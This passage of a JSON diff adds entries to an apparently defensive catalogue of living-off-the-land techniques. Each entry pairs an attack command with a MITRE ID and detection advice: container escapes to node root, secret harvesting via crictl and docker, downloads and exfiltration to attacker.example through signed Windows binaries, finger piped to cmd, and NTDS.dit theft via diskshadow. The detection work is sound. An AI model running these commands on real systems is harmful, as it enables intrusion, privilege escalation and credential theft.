+ "usecase": "On a node, execute into any running container out-of-band of the Kubernetes API and its RBAC/audit.",
+ "mitre": [
+ "T1609"
+ ],
+ "privilege": "admin",
+ "detection": "Node-level process/auditd monitoring: exec of crictl (and containerd-shim/runc exec children) not originating from kubelet. These actions bypass API audit, so rely on host EDR and file/socket access to /run/containerd/containerd.sock or /var/run/crio/crio.sock.",
+ "references": [
+ "https://kubernetes.io/docs/tasks/debug/debug-cluster/crictl/",
+ "https://attack.mitre.org/techniques/T1609/"
+ ],
+ "verifyNote": "kubernetes.io crictl debug docs and cri-tools confirm `crictl ps` and `crictl exec -it`; crictl speaks directly to the CRI socket, bypassing apiserver/RBAC/audit. Not a GTFOBins/LOLBAS binary; T1609."
+ },
+ {
+ "toolName": "crictl",
+ "toolId": "crictl",
+ "platform": [
+ "Linux"
+ ],
+ "capability": [
+ "Credential Access",
+ "Discovery"
+ ],
+ "nativeCategory": [
+ "Credential Access",
+ "Discovery"
+ ],
+ "command": "crictl ps -a\ncrictl inspect CONTAINERID",
+ "description": "crictl inspect returns a container's full CRI status JSON including its environment variables, command line, mounts and labels. Applications commonly pass secrets (DB passwords, API keys, tokens) as env vars, so inspecting containers on a node reveals those plaintext values without touching Kubernetes Secret objects or the API server.",
+ "usecase": "Read plaintext env-var secrets and mount layout of colocated containers straight from the node runtime.",
+ "mitre": [
+ "T1552.007",
+ "T1613"
+ ],
+ "privilege": "admin",
+ "detection": "Auditd/EDR for crictl inspect / inspectp / inspecti invocations on nodes outside of sanctioned tooling, and for reads of the containerd/CRI-O socket. Prefer mounting secrets as files with restrictive modes over env vars to shrink this exposure.",
+ "references": [
+ "https://kubernetes.io/docs/tasks/debug/debug-cluster/crictl/",
+ "https://attack.mitre.org/techniques/T1552/007/"
+ ],
+ "verifyNote": "cri-tools/crictl docs confirm `crictl inspect` returns container status JSON incl. env vars (and inspectp/inspecti variants exist); reading runtime-held env secrets fits T1552.007 (Container API) + T1613 discovery."
+ },
+ {
+ "toolName": "ctr",
+ "toolId": "ctr",
+ "platform": [
+ "Linux"
+ ],
+ "capability": [
+ "Privilege Escalation",
+ "Execution"
+ ],
+ "nativeCategory": [
+ "Escape to Host",
+ "Bind Mount Escape"
+ ],
+ "command": "ctr image pull {REMOTEURL}/ubuntu:latest\nctr run --privileged --net-host -t {REMOTEURL}/ubuntu:latest esc bash\nctr run --mount type=bind,src=/,dst=/host,options=rbind:rw -t {REMOTEURL}/ubuntu:latest esc chroot /host bash",
+ "description": "ctr is containerd's low-level admin client. With access to the containerd socket an operator can pull an image and launch a container with --privileged/--net-host, or bind-mount the node root (src=/) into the container; chroot /host then yields a root shell on the node. It bypasses the kube-apiserver and any admission control.",
+ "usecase": "Turn containerd socket access on a node into node root via a privileged or host-bind-mount container.",
+ "mitre": [
+ "T1611"
+ ],
+ "privilege": "admin",
+ "detection": "Auditd/EDR for ctr invocations carrying --privileged, --net-host, or --mount type=bind,src=/ , and for access to /run/containerd/containerd.sock by non-kubelet processes. New containerd tasks from unexpected images/registries on a node are high-signal.",
+ "references": [
+ "https://hacktricks.wiki/en/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.html",
+ "https://attack.mitre.org/techniques/T1611/"
+ ],
+ "verifyNote": "HackTricks containerd-ctr page confirms the exact `ctr run --privileged --net-host` and `ctr run --mount type=bind,src=/,dst=/...` host-mount escapes; ctr is not a GTFOBins binary; T1611. (options=rbind:rw is a benign superset of the documented options=rbind.)"
+ },
+ {
+ "toolName": "runc",
+ "toolId": "runc",
+ "platform": [
+ "Linux"
+ ],
+ "capability": [
+ "Privilege Escalation"
+ ],
+ "nativeCategory": [
+ "Escape to Host",
+ "Bind Mount Escape"
+ ],
+ "command": "runc spec\n# edit config.json mounts: {\"type\":\"bind\",\"source\":\"/\",\"destination\":\"/\",\"options\":[\"rbind\",\"rw\",\"rprivate\"]}\nmkdir rootfs\nrunc run esc",
+ "description": "runc is the OCI runtime under Docker/containerd/CRI-O. Where runc is available with root, an operator can generate an OCI bundle with runc spec, edit config.json to bind-mount the host root (source \"/\") into the container, and runc run it, producing a container whose filesystem is the node's, granting full host access outside any orchestration policy.",
+ "usecase": "Spawn an OCI container that bind-mounts the host root to reach node root when runc is runnable as root.",
+ "mitre": [
+ "T1611"
+ ],
+ "privilege": "admin",
+ "detection": "Auditd/EDR for runc spec and runc run invocations that are not children of containerd-shim/dockerd (i.e. manual bundles), and for config.json files whose mounts bind source \"/\". Flag new OCI bundle directories written to disk followed by runc run.",
+ "references": [
+ "https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation",
+ "https://attack.mitre.org/techniques/T1611/"
+ ],
+ "verifyNote": "HackTricks runc page confirms `runc spec` -> edit config.json to bind-mount source '/' -> `runc run`; also confirms runc must run as root (privilege=admin). T1611; runc is not a GTFOBins binary."
+ },
+ {
+ "toolName": "docker",
+ "toolId": "docker",
+ "platform": [
+ "Linux"
+ ],
+ "capability": [
+ "Collection",
+ "File Read"
+ ],
+ "nativeCategory": [
+ "Collection",
+ "Data Staging"
+ ],
+ "command": "docker cp CONTAINERID:/etc/shadow /tmp/x\ndocker export CONTAINERID -o /tmp/x.tar\ndocker save IMAGE:latest -o /tmp/x.tar",
+ "description": "With Docker daemon access, docker cp pulls individual files out of any container's filesystem, docker export writes a tar snapshot of a container's whole filesystem, and docker save archives full images (all layers/history). Together they let an operator harvest other containers' files, embedded secrets and build-time credentials from a single node.",
+ "usecase": "Collect files, filesystem snapshots and image layers (with baked-in secrets) from colocated containers.",
+ "mitre": [
+ "T1005"
+ ],
+ "privilege": "admin",
+ "detection": "docker events for export/save/cp actions and auditd for large tar writes by dockerd; flag export/save of containers or images the user did not create, and cp reads of sensitive paths (/etc/shadow, mounted secret volumes). Baseline legitimate backup jobs to reduce noise.",
+ "references": [
+ "https://docs.docker.com/reference/cli/docker/container/export/",
+ "https://docs.docker.com/reference/cli/docker/image/save/",
+ "https://attack.mitre.org/techniques/T1005/"
+ ],
+ "verifyNote": "docker export/save/cp CLI docs confirm the commands and -o/--output (export page fetched live). Criterion (e) caveat: `docker cp` overlaps the existing GTFOBins docker File-read/File-write functions, but `docker export`/`docker save` (whole-filesystem and whole-image tar for bulk collection, T1005) are additive and absent from GTFOBins — kept for that additive value."
+ },
+ {
+ "toolName": "nerdctl",
+ "toolId": "nerdctl",
+ "platform": [
+ "Linux"
+ ],
+ "capability": [
+ "Privilege Escalation",
+ "Execution"
+ ],
+ "nativeCategory": [
+ "Escape to Host",
+ "Bind Mount Escape"
+ ],
+ "command": "nerdctl run --privileged --rm -it -v /:/host alpine chroot /host sh",
+ "description": "nerdctl is the Docker-compatible CLI for containerd and accepts docker run flags. On a node with containerd, an operator can run a --privileged container that bind-mounts the host root (-v /:/host) and chroot /host to obtain node root, the same host-mount escape as docker/ctr but through the nerdctl front-end.",
+ "usecase": "Escape to node root via containerd using familiar docker-style --privileged and host-mount flags.",
+ "mitre": [
+ "T1611"
+ ],
+ "privilege": "admin",
+ "detection": "Auditd/EDR for nerdctl invocations with --privileged or -v /:/ (host-root bind) and for new containerd tasks not launched by kubelet. Restrict access to the containerd socket and to the nerdctl binary; alert on chroot into a host-root mount inside a container.",
+ "references": [
+ "https://github.com/containerd/nerdctl/blob/main/docs/command-reference.md",
+ "https://attack.mitre.org/techniques/T1611/"
+ ],
+ "verifyNote": "nerdctl command-reference confirms Docker-compatible `--privileged` and `-v` bind mounts; same host-mount escape as docker but nerdctl is NOT a GTFOBins/LOLBAS binary, so the entry is additive; T1611."
+ },
+ {
+ "toolName": "msiexec.exe",
+ "toolId": "msiexec",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Execution",
+ "AWL / Policy Bypass"
+ ],
+ "nativeCategory": [
+ "Execute"
+ ],
+ "command": "msiexec /q /i https://attacker.example/x.msi",
+ "description": "The signed Windows Installer fetches and silently installs a remote MSI; the package's custom actions run arbitrary code under the trusted msiexec host. A signed vendor MSI can also be paired with a malicious remote transform: msiexec /i C:\\Windows\\Temp\\x.msi TRANSFORMS=\"https://attacker.example/x.mst\" /qb.",
+ "usecase": "Proxy execution of attacker code through a trusted, signed installer, including from a remote URL.",
+ "mitre": [
+ "T1218.007",
+ "T1105"
+ ],
+ "privilege": "user",
+ "detection": "msiexec.exe with an http(s):// argument or a network-facing parent; msiexec.exe spawning cmd.exe/powershell.exe/rundll32; MSI or MST files written into INetCache; TRANSFORMS= pointing at a URL.",
+ "references": [
+ "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Msiexec.yml",
+ "https://attack.mitre.org/techniques/T1218/007/"
+ ],
+ "verifyNote": "LOLBAS Msiexec.yml quotes both `msiexec /q /i {REMOTEURL}` and `msiexec /i {PATH} TRANSFORMS=\"{REMOTEURL:.mst}\" /qb`, MitreID T1218.007; verbatim match."
+ },
+ {
+ "toolName": "curl.exe",
+ "toolId": "curl",
+ "platform": [
+ "Windows",
+ "Linux",
+ "macOS"
+ ],
+ "capability": [
+ "File Download",
+ "File Upload"
+ ],
+ "nativeCategory": [
+ "Download",
+ "Upload"
+ ],
+ "command": "curl.exe -o C:\\Windows\\Temp\\x.exe http://attacker.example/x.exe\ncurl.exe -T C:\\Windows\\Temp\\loot.zip http://attacker.example/upload/",
+ "description": "curl.exe has shipped in-box on Windows 10 since build 1803 (and on macOS/Linux for years). -o/--output writes a downloaded URL to a chosen path (ingress transfer) and -T/--upload-file (or -d/--data for POST) exfiltrates a local file to a remote server, all from a Microsoft-signed binary.",
+ "usecase": "Download a payload or stage/exfiltrate data using a built-in, trusted HTTP client instead of certutil/bitsadmin.",
+ "mitre": [
+ "T1105",
+ "T1567"
+ ],
+ "privilege": "user",
+ "detection": "curl.exe writing executable/script content with -o/-O; curl.exe -T/--upload-file or -d to external hosts; curl.exe with a non-interactive parent (office, script host); egress to newly-seen domains from curl.exe.",
+ "references": [
+ "https://curl.se/docs/manpage.html",
+ "https://curl.se/windows/"
+ ],
+ "verifyNote": "curl.se manpage documents -o/--output and -T/--upload-file (and -d/--data) exactly as described; curl.se/windows confirms the Microsoft-signed in-box build."
+ },
+ {
+ "toolName": "tar.exe",
+ "toolId": "tar",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "File Download",
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Download",
+ "Hide/ADS"
+ ],
+ "command": "tar.exe -xf \\\\10.10.10.10\\share\\x.tar -C C:\\Windows\\Temp\ntar.exe -cf C:\\Windows\\Temp\\x.txt:evil.tar C:\\Windows\\Temp\\payload",
+ "description": "The in-box bsdtar (Windows 10 1803+) extracts an archive directly from a UNC/SMB path, pulling files from a remote host without a classic downloader (ingress transfer). tar can also read from and write to NTFS Alternate Data Streams (path:ads), hiding archived payloads inside a benign-looking file.",
+ "usecase": "Copy files in from a remote share, or stash a payload in an ADS to evade file-based detection, using a signed archiver.",
+ "mitre": [
+ "T1105",
+ "T1564.004"
+ ],
+ "privilege": "user",
+ "detection": "tar.exe with a UNC (\\\\host\\share) source; tar.exe archive paths containing ':' (ADS notation); tar.exe making SMB/network connections; extraction into system-writable temp dirs.",
+ "references": [
+ "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Tar.yml",
+ "https://learn.microsoft.com/en-us/windows/tar/"
+ ],
+ "verifyNote": "LOLBAS Tar.yml documents `tar -xf {PATH_SMB:.tar}` (T1105) and `tar -cf {PATH}:ads {folder}` / `tar -xf {PATH}:ads` (T1564.004); both match."
+ },
+ {
+ "toolName": "ssh.exe",
+ "toolId": "ssh",
+ "platform": [
+ "Windows",
+ "Linux",
+ "macOS"
+ ],
+ "capability": [
+ "Execution",
+ "Library Load"
+ ],
+ "nativeCategory": [
+ "Execute"
+ ],
+ "command": "ssh.exe -o ProxyCommand=\"C:\\Windows\\Temp\\x.exe\" .\nssh.exe -o PKCS11Provider=\"\\\\10.10.10.10\\Temp\\x.dll\" user@test.local",
+ "description": "The in-box OpenSSH client (Windows 10 1809+) runs the string given in ProxyCommand/LocalCommand through the shell before it ever connects, giving indirect command execution under a signed binary. The PKCS11Provider option loads and executes an attacker DLL (DllMain / C_GetFunctionList) from a remote SMB share.",
+ "usecase": "Proxy-execute a command or side-load a DLL from a signed, trusted SSH client for defense evasion.",
+ "mitre": [
+ "T1202",
+ "T1218"
+ ],
+ "privilege": "user",
+ "detection": "ssh.exe with ProxyCommand/LocalCommand/PKCS11Provider on the command line; ssh.exe spawning cmd.exe/powershell.exe; ssh.exe loading a non-standard DLL from a UNC path; ssh.exe run with no legitimate remote host.",
+ "references": [
+ "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Ssh.yml",
+ "https://attack.mitre.org/techniques/T1202/"
+ ],
+ "verifyNote": "LOLBAS Ssh.yml quotes `ssh -o ProxyCommand=\"{CMD}\" .` and `ssh -o PKCS11Provider=\"\\\\...\\example.dll\"` (DLL from SMB share), MitreID T1202; match. NOTE: secondary T1218 tag flagged in suspect — the PKCS11 DLL load maps better to T1574.002/T1129."
+ },
+ {
+ "toolName": "scp.exe",
+ "toolId": "scp",
+ "platform": [
+ "Windows",
+ "Linux",
+ "macOS"
+ ],
+ "capability": [
+ "Execution",
+ "File Copy"
+ ],
+ "nativeCategory": [
+ "Execute"
+ ],
+ "command": "scp.exe -S C:\\Windows\\Temp\\x.exe . localhost:.\nscp.exe -o ProxyCommand=\"C:\\Windows\\Temp\\x.exe\" . localhost:.",
+ "description": "The in-box OpenSSH scp client spawns the program named by -S (alternate ssh program) or ProxyCommand even when no SSH server is listening, giving indirect command execution under a signed binary. scp also legitimately copies files to/from remote hosts and can be used to stage or exfiltrate data.",
+ "usecase": "Proxy-execute a command through scp->ssh, or move files off-host, using a signed binary.",
+ "mitre": [
+ "T1202",
+ "T1105"
+ ],
+ "privilege": "user",
+ "detection": "scp.exe with -S or -o ProxyCommand; scp.exe child processes (cmd/powershell); scp.exe copying to/from external hosts; scp targeting localhost with no SSH service present.",
+ "references": [
+ "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Scp.yml",
+ "https://attack.mitre.org/techniques/T1202/"
+ ],
+ "verifyNote": "LOLBAS Scp.yml quotes both `scp.exe -S \"{CMD}\" . localhost:.` and `scp.exe -o ProxyCommand=\"{CMD}\" . localhost:.` (spawns even with no SSH), MitreID T1202; match."
+ },
+ {
+ "toolName": "msedge.exe",
+ "toolId": "msedge",
+ "platform": [
+ "Windows",
+ "macOS",
+ "Linux"
+ ],
+ "capability": [
+ "File Download",
+ "Execution"
+ ],
+ "nativeCategory": [
+ "Download",
+ "Execute"
+ ],
+ "command": "msedge.exe --headless --enable-logging --disable-gpu --dump-dom \"https://attacker.example/x.base64.html\" > C:\\Windows\\Temp\\x.b64\nmsedge.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\Temp\\x.exe &&\"",
+ "description": "Chromium browsers (Edge is preinstalled and signed; chrome.exe behaves identically) print the rendered DOM to stdout with --headless --dump-dom, letting an operator pull a base64 payload disguised as an .html page with no classic downloader on the command line. The --gpu-launcher switch runs an arbitrary command as a child of the signed browser (system binary proxy execution).",
+ "usecase": "Silently download a payload via a trusted browser, or proxy-execute a command under a signed browser process.",
+ "mitre": [
+ "T1105",
+ "T1218"
+ ],
+ "privilege": "user",
+ "detection": "browser process (msedge.exe/chrome.exe) with --headless together with --dump-dom, or with --gpu-launcher/--utility-cmd-prefix/--renderer-cmd-prefix; browser redirecting stdout to a file; browser process whose parent is a script host or Office app.",
+ "references": [
+ "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Msedge.yml",
+ "https://twitter.com/mrd0x/status/1478234484881436672"
+ ],
+ "verifyNote": "LOLBAS Msedge.yml (OSBinaries) documents `--headless --enable-logging --disable-gpu --dump-dom` (T1105) and `--disable-gpu-sandbox --gpu-launcher=\"{CMD} &&\"` (T1218.015); reference URL corrected to the OSBinaries YAML path."
+ },
+ {
+ "toolName": "MpCmdRun.exe",
+ "toolId": "mpcmdrun",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "File Download",
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Download",
+ "ADS"
+ ],
+ "command": "MpCmdRun.exe -DownloadFile -url https://attacker.example/x.exe -path C:\\Windows\\Temp\\x.exe\nMpCmdRun.exe -DownloadFile -url https://attacker.example/x.exe -path C:\\Windows\\Temp\\x.exe:evil.exe",
+ "description": "Microsoft Defender's command-line utility (MpCmdRun.exe) downloads an arbitrary URL to disk with -DownloadFile (slashes or dashes both work), and can drop the file straight into an NTFS Alternate Data Stream. It is a signed AV binary, so the transfer blends in. Microsoft removed the flag in newer builds, but older platform copies remain abusable.",
+ "usecase": "Download a payload (optionally hidden in an ADS) using the trusted Defender binary itself.",
+ "mitre": [
+ "T1105",
+ "T1564.004"
+ ],
+ "privilege": "user",
+ "detection": "MpCmdRun.exe with -DownloadFile/-url/-path; MpCmdRun.exe launched from a non-Defender directory or by an unexpected parent; network egress from MpCmdRun.exe to non-Microsoft hosts; -path containing ':' (ADS).",
+ "references": [
+ "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/MpCmdRun.yml",
+ "https://www.bleepingcomputer.com/news/microsoft/microsoft-defender-can-ironically-be-used-to-download-malware/"
+ ],
+ "verifyNote": "LOLBAS MpCmdRun.yml quotes `-DownloadFile -url {REMOTEURL:.exe} -path {PATH:.exe}` (T1105, slashes/dashes both work) and the `-path {PATH}:evil.exe` ADS variant (T1564.004); match."
+ },
+ {
+ "toolName": "desktopimgdownldr.exe",
+ "toolId": "desktopimgdownldr",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "File Download",
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Download"
+ ],
+ "command": "set \"SYSTEMROOT=C:\\Windows\\Temp\" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://attacker.example/x.exe /eventName:desktopimgdownldr",
+ "description": "The Personalization CSP lock-screen tool downloads the URL given in /lockscreenurl to disk as a standard user. Overriding the SYSTEMROOT environment variable redirects the output to an attacker-chosen folder, and the PersonalizationCSP registry value seeded by the run can be deleted afterward to erase the trace.",
+ "usecase": "Download an arbitrary file with a native, signed Windows tool that is not certutil/bitsadmin.",
+ "mitre": [
+ "T1105"
+ ],
+ "privilege": "user",
+ "detection": "desktopimgdownldr.exe with /lockscreenurl to a non-Microsoft host or fetching a non-image; SYSTEMROOT environment override before the run; writes/deletes at HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\PersonalizationCSP\\LockScreenImageUrl.",
+ "references": [
+ "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Desktopimgdownldr.yml",
+ "https://www.sentinelone.com/labs/living-off-windows-land-a-new-native-file-downldr/"
+ ],
+ "verifyNote": "LOLBAS Desktopimgdownldr.yml quotes `set \"SYSTEMROOT=...\" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL}` (T1105); SentinelOne write-up is the original research source."
+ },
+ {
+ "toolName": "AppInstaller.exe",
+ "toolId": "appinstaller",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "File Download"
+ ],
+ "nativeCategory": [
+ "Download"
+ ],
+ "command": "start ms-appinstaller://?source=https://attacker.example/x.msix",
+ "description": "The ms-appinstaller:// URI is handled by the signed App Installer (AppInstaller.exe), which reaches out to the source URL, attempts to load/install the package, and caches the fetched file in INetCache. The download rides a trusted protocol handler with no obvious downloader on the command line; the same handler underpinned real-world MotW-bypass delivery campaigns.",
+ "usecase": "Download a remote file/package through a trusted URI handler rather than an explicit HTTP client.",
+ "mitre": [
+ "T1105"
+ ],
+ "privilege": "user",
+ "detection": "AppInstaller.exe making outbound connections to non-Microsoft hosts; ms-appinstaller:// URI invocations (e.g. via explorer/start); files appearing in INetCache attributed to AppInstaller.exe; MSIX/APPX pulled from untrusted domains.",
+ "references": [
+ "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/AppInstaller.yml",
+ "https://attack.mitre.org/techniques/T1105/"
+ ],
+ "verifyNote": "LOLBAS AppInstaller.yml quotes `start ms-appinstaller://?source={REMOTEURL:.exe}` and notes the file is 'saved in INetCache' (T1105); match. ms-appinstaller MotW-bypass abuse is publicly documented (Microsoft disabled the handler in 2023)."
+ },
+ {
+ "toolName": "OneDriveStandaloneUpdater.exe",
+ "toolId": "onedrivestandaloneupdater",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "File Download",
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Download"
+ ],
+ "command": "reg add \"HKCU\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\" /v UpdateRingSettingURLFromOC /t REG_SZ /d https://attacker.example/x /f && OneDriveStandaloneUpdater.exe",
+ "description": "The signed OneDrive updater downloads from the URL stored in the user-writable registry value HKCU\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\\UpdateRingSettingURLFromOC. Setting that value and launching the updater fetches an attacker-controlled file while the process command line stays completely benign.",
+ "usecase": "Download a file from the internet with a signed updater and no anomalous command-line arguments.",
+ "mitre": [
+ "T1105"
+ ],
+ "privilege": "user",
+ "detection": "writes to HKCU\\Software\\Microsoft\\OneDrive\\UpdateOfficeConfig\\UpdateRingSettingURLFromOC; OneDriveStandaloneUpdater.exe connecting to hosts outside the official OneDrive/Office update CDNs.",
+ "references": [
+ "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/OneDriveStandaloneUpdater.yml",
+ "https://attack.mitre.org/techniques/T1105/"
+ ],
+ "verifyNote": "LOLBAS OneDriveStandaloneUpdater.yml documents downloading from the URL in HKCU\\...\\UpdateOfficeConfig\\UpdateRingSettingURLFromOC (T1105); match (LOLBAS also notes ODSUUpdateXMLUrlFromOC/UpdateXMLUrlFromOC must be non-empty)."
+ },
+ {
+ "toolName": "finger.exe",
+ "toolId": "finger",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "File Download",
+ "Execution"
+ ],
+ "nativeCategory": [
+ "Download"
+ ],
+ "command": "finger user@attacker.example | more +2 | cmd",
+ "description": "The built-in Finger client retrieves data from a remote Finger (TCP/79) server; piping the server's response through more and into cmd turns the response into executed commands, giving a combined download-and-execute (and C2) channel over an unusual port with a signed binary.",
+ "usecase": "Retrieve and run attacker-supplied commands/payload over the rarely-monitored finger protocol.",
+ "mitre": [
+ "T1105"
+ ],
+ "privilege": "user",
+ "detection": "finger.exe making outbound TCP/79 connections to external hosts; finger.exe piped into cmd.exe/powershell.exe/more; any use of finger.exe at all, which is rare in modern environments.",
+ "references": [
+ "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Finger.yml",
+ "https://attack.mitre.org/techniques/T1105/"
+ ],
+ "verifyNote": "LOLBAS Finger.yml quotes `finger user@example.host.com | more +2 | cmd` verbatim (T1105, Download); exact match."
+ },
+ {
+ "toolName": "wsl.exe",
+ "toolId": "wsl",
+ "platform": [
+ "Windows",
+ "Linux"
+ ],
+ "capability": [
+ "Execution",
+ "File Download"
+ ],
+ "nativeCategory": [
+ "Execute",
+ "Download"
+ ],
+ "command": "wsl.exe --exec bash -c \"id > /mnt/c/Windows/Temp/x\"\nwsl.exe --exec bash -c 'cat < /dev/tcp/10.10.10.10/54 > /tmp/x'",
+ "description": "wsl.exe (signed, present where WSL is installed) runs arbitrary Linux commands via --exec/-e (as root with -u root, no password), giving indirect command execution under a trusted binary. bash's /dev/tcp pulls files with no external tool. wsl.exe also resolves its install path from HKLM\\...\\Lxss\\MSI\\InstallLocation, so a planted wsl.exe there is executed instead of the legitimate one.",
+ "usecase": "Execute payloads on the Linux side (evading Windows EDR), transfer files via /dev/tcp, or masquerade a payload as WSL.",
+ "mitre": [
+ "T1202",
+ "T1105",
+ "T1218"
+ ],
+ "privilege": "user",
+ "detection": "wsl.exe with -e/--exec/-u root; wsl.exe/bash.exe spawning children outside System32; changes to HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lxss\\MSI\\InstallLocation; /dev/tcp usage inside WSL bash.",
+ "references": [
+ "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OtherMSBinaries/Wsl.yml",
+ "https://attack.mitre.org/techniques/T1202/"
+ ],
+ "verifyNote": "LOLBAS Wsl.yml documents `wsl.exe --exec bash -c \"{CMD}\"` (T1202), `wsl.exe --exec bash -c 'cat < /dev/tcp/.../.. > binary'` (T1105), and the HKLM\\...\\Lxss\\MSI\\InstallLocation lookup; match."
+ },
+ {
+ "toolName": "winget.exe",
+ "toolId": "winget",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Execution",
+ "AWL / Policy Bypass"
+ ],
+ "nativeCategory": [
+ "Execute",
+ "AWL Bypass"
+ ],
+ "command": "winget.exe install --manifest C:\\Windows\\Temp\\x.yml\nwinget.exe install --accept-package-agreements -s msstore {StoreID}",
+ "description": "The Windows Package Manager installs from a local manifest (--manifest) whose Installer URL points at an arbitrary file that is then downloaded and executed, or installs a Microsoft Store package by ID even when the Store app is blocked and AppLocker is active. Either path fetches and runs code through a signed installer, bypassing application-control policy.",
+ "usecase": "Download-and-execute an arbitrary installer, or pull software from the Store, past AppLocker/Store restrictions.",
+ "mitre": [
+ "T1105",
+ "T1218"
+ ],
+ "privilege": "user",
+ "detection": "winget.exe install --manifest referencing a local/temp .yml; winget pulling installers from non-standard hosts; msstore installs where the Store app is policy-blocked; winget-spawned installer processes writing to unusual locations.",
+ "references": [
+ "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSBinaries/Winget.yml",
+ "https://learn.microsoft.com/en-us/windows/package-manager/winget/install"
+ ],
+ "verifyNote": "LOLBAS Winget.yml quotes `winget.exe install --manifest {PATH:.yml}` (download+execute, T1105) and `winget.exe install --accept-package-agreements -s msstore {name/ID}` (AWL Bypass, installs even if Store app blocked); match."
+ },
+ {
+ "toolName": "devtunnel.exe",
+ "toolId": "devtunnel",
+ "platform": [
+ "Windows",
+ "Linux",
+ "macOS"
+ ],
+ "capability": [
+ "File Upload",
+ "File Download"
+ ],
+ "nativeCategory": [
+ "Download",
+ "Upload",
+ "Exfiltration"
+ ],
+ "command": "devtunnel.exe host -p 8080",
+ "description": "The Microsoft Dev Tunnels agent (signed) exposes a local port/service on a Microsoft-hosted public *.devtunnels.ms URL. This creates an ingress/egress channel that can be used to reach internal services, stage tooling, or exfiltrate data, with the traffic riding trusted Microsoft tunneling infrastructure.",
+ "usecase": "Establish a trusted-domain tunnel for data transfer, exfiltration, or exposing an internal service to the internet.",
+ "mitre": [
+ "T1105",
+ "T1572",
+ "T1567"
+ ],
+ "privilege": "user",
+ "detection": "devtunnel.exe execution and persistent connections to *.devtunnels.ms / global.rel.tunnels.api.visualstudio.com; internal services becoming reachable via a Microsoft tunnel domain; unexpected long-lived outbound sessions from devtunnel.exe.",
+ "references": [
+ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/devtunnels/",
+ "https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/cli-commands"
+ ],
+ "verifyNote": "Microsoft Learn CLI reference documents `devtunnel host -p 3000` exposing a local port at a public *.devtunnels.ms URL; LOLBAS entry exists at OtherMSBinaries/devtunnels/ (reference URL corrected from the 404ing raw-YAML path to the working LOLBAS site page + MS Learn)."
+ },
+ {
+ "toolName": "Teams.exe",
+ "toolId": "teams",
+ "platform": [
+ "Windows",
+ "macOS",
+ "Linux"
+ ],
+ "capability": [
+ "Execution",
+ "Defense Evasion"
+ ],
+ "nativeCategory": [
+ "Execute"
+ ],
+ "command": "Teams.exe --disable-gpu-sandbox --gpu-launcher=\"C:\\Windows\\Temp\\x.exe &&\"",
+ "description": "Classic Microsoft Teams is an Electron/Chromium app, and the Chromium --gpu-launcher switch runs an arbitrary command as a child of the signed Teams binary (system binary proxy execution / parent masquerading). The same abuse applies to other Electron apps, and Teams can also be made to run planted JavaScript from its app.asar/package.json.",
+ "usecase": "Proxy-execute a command under a trusted, signed Electron binary to blend with normal process trees.",
+ "mitre": [
+ "T1218.015"
+ ],
+ "privilege": "user",
+ "detection": "Teams.exe (or any Electron app) launched with --gpu-launcher/--disable-gpu-sandbox/--utility-cmd-prefix; Teams.exe spawning cmd.exe/powershell.exe; unexpected writes to app.asar or package.json under %LOCALAPPDATA%\\Microsoft\\Teams.",
+ "references": [
+ "https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OtherMSBinaries/Teams.yml",
+ "https://attack.mitre.org/techniques/T1218/015/"
+ ],
+ "verifyNote": "LOLBAS Teams.yml quotes `teams.exe --disable-gpu-sandbox --gpu-launcher=\"{CMD} &&\"` and the app.asar/package.json JavaScript variants, all MitreID T1218.015 (Electron Applications); match."
+ },
+ {
+ "toolName": "diskshadow.exe",
+ "toolId": "diskshadow",
+ "platform": [
+ "Windows"
+ ],
+ "capability": [
+ "Execution",
+ "Credential Access"
+ ],
+ "nativeCategory": [
+ "Execute",
+ "Dump"
+ ],
+ "command": "diskshadow.exe /s C:\\Windows\\Temp\\x.txt",
+ "description": "diskshadow's script mode (/s) runs each line of a text script; an exec line spawns a child process under a signed binary (indirect execution), while its VSS commands (set/create/expose) snapshot a volume so locked files like NTDS.dit or the SAM/SYSTEM hives can be copied out of the shadow copy. One signed tool covers both proxy execution and credential-store theft.",
+ "usecase": "Proxy-execute a command and/or snapshot the volume to copy NTDS.dit and registry hives for offline credential extraction.",
+ "mitre": [
+ "T1202",
+ "T1003.003"
+ ],
+ "privilege": "admin",
+ "detection": "diskshadow.exe /s with a script file; diskshadow creating/exposing shadow copies; child processes spawned by diskshadow.exe; reads of NTDS.dit or SAM/SYSTEM via a shadow-copy path shortly after a snapshot.",
